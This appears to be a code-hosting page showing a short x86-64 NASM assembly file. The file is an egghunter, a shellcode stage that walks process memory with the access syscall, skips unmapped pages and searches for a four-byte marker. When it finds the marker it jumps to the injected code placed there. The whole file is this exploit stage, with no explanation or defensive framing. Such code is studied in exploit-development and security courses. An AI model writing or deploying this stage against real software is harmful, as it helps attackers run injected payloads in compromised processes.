23 lines
No EOL
372 B
NASM
23 lines
No EOL
372 B
NASM
global _start
|
|
section .text
|
|
_start:
|
|
xor rsi,rsi
|
|
|
|
push rsi ; starts the search at position 0
|
|
pop rdi
|
|
|
|
next_page:
|
|
or di,0xfff
|
|
inc rdi
|
|
|
|
next_4_bytes:
|
|
push 21
|
|
pop rax
|
|
syscall
|
|
cmp al,0xf2
|
|
jz next_page
|
|
mov eax,0xefbeefbd
|
|
inc al
|
|
scasd
|
|
jnz next_4_bytes
|
|
jmp rdi |